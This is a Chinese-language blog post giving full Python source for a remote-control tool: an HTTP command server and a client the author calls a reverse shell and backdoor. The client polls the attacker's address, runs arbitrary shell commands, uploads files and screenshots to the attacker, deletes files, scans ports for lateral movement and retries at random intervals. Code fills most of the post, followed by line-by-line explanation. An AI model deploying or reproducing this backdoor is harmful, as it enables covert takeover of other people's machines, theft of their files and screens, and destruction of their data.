banner
andrewji8

Being towards death

Heed not to the tree-rustling and leaf-lashing rain, Why not stroll along, whistle and sing under its rein. Lighter and better suited than horses are straw sandals and a bamboo staff, Who's afraid? A palm-leaf plaited cape provides enough to misty weather in life sustain. A thorny spring breeze sobers up the spirit, I feel a slight chill, The setting sun over the mountain offers greetings still. Looking back over the bleak passage survived, The return in time Shall not be affected by windswept rain or shine.
telegram
twitter
github

Python写服务端远程执行CMD命令

image

import http.server
import os,cgi

localhost= '127.0.0.1'    #本地IP非公网IP
port= 8081    #监听端口

class MyHandler(http.server.BaseHTTPRequestHandler):
    global hostMachine    #上线主机
    hostMachine=0
    def do_GET(self):    #get请求处理
        global hostMachine
        if hostMachine==0:
            hostMachine=1
            print('宿主机已上线')
        command = input("<Potato>$ ")
        self.send_response(200)
        self.send_header("Content-type", "text/html")
        self.end_headers()
        self.wfile.write(command.encode())
        if command=='exit':
            print('[Result] 该主机已下线') 
            hostMachine=0
        print('\n')

    def do_POST(self):    #Post请求处理
        if self.path == '/tmp':#文件数据处理
            try:
                ctype, pdict = cgi.parse_header(self.headers.get('Content-type'))
                if ctype == 'multipart/form-data':
                    fs = cgi.FieldStorage(fp=self.rfile, headers = self.headers, environ = {'REQUEST_METHOD' : 'POST'})
                else:
                    print('[Errot] POST数据格式错误')
                fs_data = fs['file'].file.read()
                fs_name = fs['name'].file.read().decode('gbk')
                with open('/s-'+fs_name, 'wb') as o:
                    print('[Information] 获取中 ........')
                    o.write(fs_data)
                    print('[Result] 已保存至/s-'+fs_name)
                    self.send_response(200)
                    self.end_headers()
                    print('\n')
            except Exception as e:
                print(e)
            return

        self.send_response(200)
        self.end_headers()
        length = int(self.headers['Content-length'])
        postVar = self.rfile.read(length)
        print(postVar.decode('gbk','ignore'))

if __name__ == "__main__":
    httpd = http.server.HTTPServer((localhost, port), MyHandler)    #搭建简易http服务器
    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        print('\n'+'[Error] 服务器已关闭')服务器

服务端代码这个实现了一个简单的 HTTP 服务器,它可以处理 GET 和 POST 请求,并且具有一些基本功能。这个服务器允许远程用户通过 GET 请求发送命令并获取响应,也可以通过 POST 请求上传文件。

以下是您的代码的详细介绍:

导入模块和设置监听地址和端口:

您首先导入了所需的模块 http.server、os 和 cgi。

定义了本地 IP 地址 localhost 和监听端口 port。

创建自定义的请求处理类 MyHandler:

MyHandler 类继承自 http.server.BaseHTTPRequestHandler,用于处理 HTTP 请求。

在 MyHandler 类中,您定义了一个全局变量 hostMachine,用于标记主机的上线状态。

处理 GET 请求 (do_GET 方法):

当收到 GET 请求时,服务器会提示用户输入命令,并通过标准输入 (input) 获取命令。

如果主机之前处于下线状态,会将其标记为上线状态,并打印消息。

接收到的命令会以 HTTP 响应的形式发送回客户端,状态码为 200。

如果命令为 "exit",则会打印下线消息并将主机标记为下线状态。

处理 POST 请求 (do_POST 方法):

如果请求路径为 "/tmp",则说明客户端要上传文件。

检查请求的 Content-Type,如果是 "multipart/form-data",则使用 cgi.FieldStorage 处理文件上传。

上传的文件会保存在服务器上,文件名以 "/s-" 开头,并响应客户端上传成功的消息。

如果出现异常,会打印错误信息。

主程序部分:

在 if name == "main": 部分,您创建了一个简单的 HTTP 服务器,绑定到本地 IP 地址和指定的端口。

使用 http.server.HTTPServer 创建服务器对象,监听指定地址和端口。

服务器在一个无限循环中运行,处理客户端请求,直到捕获到键盘中断 (Ctrl+C) 时才会关闭服务器。

import requests
import os
import time
import random
import subprocess
import pyscreenshot
import socket

def connect(attackerIp):
    while True:
        try:
            req = requests.get(attackerIp)
            command = req.text.strip() # 获取服务端命令,并去除首尾空格
            # 以下为自定义功能
            if command == 'exit':    # 退出程序
                return 1

            elif command.startswith('get'):    # 获取文件
                path = command.split(" ")[1]
                if os.path.exists(path):
                    url = f'{attackerIp}/tmp'
                    files = {'file': open(path, 'rb'), 'name': os.path.basename(path)}
                    r = requests.post(url, files=files)
                else:
                    r = requests.post(url=attackerIp, data='[Error] 指定文件不存在'.encode('gbk'))

            elif command == 'screenshot':    # 获取截屏
                try:
                    image = pyscreenshot.grab()
                    image.save("/kernel.png")
                    url = f'{attackerIp}/tmp'
                    files = {'file': open("/kernel.png", "rb"), 'name': os.path.basename("/kernel.png")}
                    r = requests.post(url, files=files)
                except Exception as e:
                    r = requests.post(url=attackerIp, data=str(e).encode('gbk'))

            elif command.startswith('remove'):    # 移除文件
                filename = command.split(' ')[1]
                if os.path.exists(filename):
                    os.remove(filename)
                else:
                    r = requests.post(attackerIp, data="[Error] 文件不存在".encode('gbk'))

            elif command.startswith('scan'):    # 横向扫描
                try:
                    scan_result = ''
                    if len(command.split(" ")) > 2:
                        scan, ip, port = command.split(" ")
                    else:
                        port = command.split(" ")[1]
                        ip = '127.0.0.1'
                    scan_result = '\n'

                    defPort = list(range(1, 1001)) + [1433, 3306, 5432, 6379, 9200]  # 默认扫描端口
                    port = defPort if port == 'default' else port.split(',') if ',' in port else [port]

                    for p in port:
                        try:
                            with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
                                sock.settimeout(3)
                                result = sock.connect_ex((ip, int(p)))
                                if result == 0:
                                    scan_result += f"       [开放] {p}\n"
                        except Exception:
                            pass
                    r = requests.post(url=attackerIp, data=scan_result.encode('gbk'))
                except Exception:
                    r = requests.post(attackerIp, data="[Error] 扫描端口错误".encode('gbk'))

            elif command.startswith('cd'):    # 切换目录
                directory = command.split(' ')[1]
                try:
                    os.chdir(directory)
                    r = requests.post(attackerIp,
                                      data=f"[Result] 切换目录至 {os.getcwd()}".encode('gbk'))
                except Exception:
                    r = requests.post(attackerIp, data="[Error] 无法切换目录".encode('gbk'))

            else:    # 非快捷指令,则执行命令
                try:
                    CMD = subprocess.run(command, shell=True, capture_output=True)
                    r = requests.post(url=attackerIp, data=CMD.stdout)
                    r = requests.post(url=attackerIp, data=CMD.stderr)
                except Exception:
                    pass

        except Exception as e:
            pass

if __name__ == '__main__':
    attackerIp = 'http://127.0.0.1:8081'       # 攻击者公网IP:监听端口
    while True:
        try:
            if connect(attackerIp) == 1:
                break
        except:
            time.sleep(int(random.randrange(1, 10)))    # 无连接时间隔检测

客户端这段代码实现了一个反向 Shell,也是一个后门程序,它会不断连接一个攻击者指定的 IP 地址,然后接收从攻击者发送的命令并执行对应的操作。

首先,代码导入了一些需要的库,包括 requests 用于发送 HTTP 请求,os 用于操作文件和目录,time 用于设置延时,random 用于生成随机数,subprocess 用于执行外部命令,pyscreenshot 用于截屏,socket 用于创建套接字进行端口扫描。

接下来是定义了一个 connect 函数,该函数会不断循环进行连接和命令执行的操作。在循环内部,使用 requests 库发送 HTTP GET 请求获取攻击者发送的命令,并去除命令字符串两端的空格。然后根据命令内容执行相应的操作。

命令的解析逻辑如下:

如果命令为 exit,则退出程序。

如果命令以 get 开头,表示获取文件,取出命令中的路径,并检查文件是否存在。如果文件存在,则使用 requests 库发送 HTTP POST 请求将文件发送给攻击者,否则发送错误信息。

如果命令为 screenshot,则使用 pyscreenshot 库进行屏幕截图,并保存为 "/kernel.png" 文件,然后发送给攻击者。

如果命令以 remove 开头,表示移除文件,取出命令中的文件名,并检查文件是否存在。如果文件存在,则使用 os.remove 函数删除文件,否则发送错误信息。

如果命令以 scan 开头,表示进行端口扫描。命令可能有两种形式:scan 或 scan default。根据命令中的参数进行端口扫描,将开放的端口信息发送给攻击者。

如果命令以 cd 开头,表示切换目录,取出命令中的目录名,并使用 os.chdir 函数切换目录,然后发送结果给攻击者。

如果以上条件都不满足,则将命令交给 subprocess.run 函数执行,并将执行结果发送给攻击者。

最后,在 if name == 'main': 中,定义了攻击者的 IP 地址和端口,并通过调用 connect 函数不断进行连接。如果 connect 函数返回值为 1,则退出程序。在连接失败时,使用 time.sleep 函数设定随机的睡眠时间,以避免频繁连接。
服务端调用客户端执行 CMD 命令:

image

加载中...
此文章数据所有权由区块链加密技术和智能合约保障仅归创作者所有。